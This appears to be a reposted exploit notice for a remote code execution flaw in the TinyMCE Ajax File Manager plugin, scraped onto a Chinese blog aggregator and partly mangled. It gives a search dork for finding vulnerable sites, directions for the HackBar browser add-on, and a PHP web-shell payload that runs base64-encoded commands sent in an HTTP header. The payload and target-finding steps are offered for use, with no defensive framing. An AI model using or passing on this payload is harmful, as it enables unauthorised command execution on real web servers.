TinyMCE Ajax File Manager suffers from a remote code execution vulnerability.

来源：互联网发布：淘宝上卖视频资料赚钱编辑：程序博客网时间：2024/05/21 11:09

 ____   ____   ____   _______/  |________   ____   ____  /  _ \ /    \_/ __ \ /  ___/\   __\_  __ \_/ __ \_/ __ \(  <_> )   |  \  ___/ \___ \  |  |  |  | \/\  ___/\  ___/ \____/|___|  /\___  >____  > |_ |  |__|    \___  >\___  >            \/     \/     \/                    \/     \/       # Exploit Title : timynce Ajax File Manager Remote Code # Author        : By onestree# Software Link : http://www.phpletter.com/Demo/Tinymce-Ajax-File-Manager/# tested        : windows 7# Dork          : inurl:"/plugins/filemanager/" or inurl:'/timynce/plugins/"  ************************************************************* how to run the exploit use firefox web browserand download firefox add ons HackBarexploit : foo=<?php error_reporting(0);print(system('onestree'));passthru(base64_decode($_SERVER[HTTP_CMD]));die; ?> ====================================================================tutorial video https://www.youtube.com/watch?v=ahli-dehYWYThanks :   Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell                indonesiancoder - moeslimh4x0r - go-coder spesial my hunny ( Fheby Yahya) :* muaaah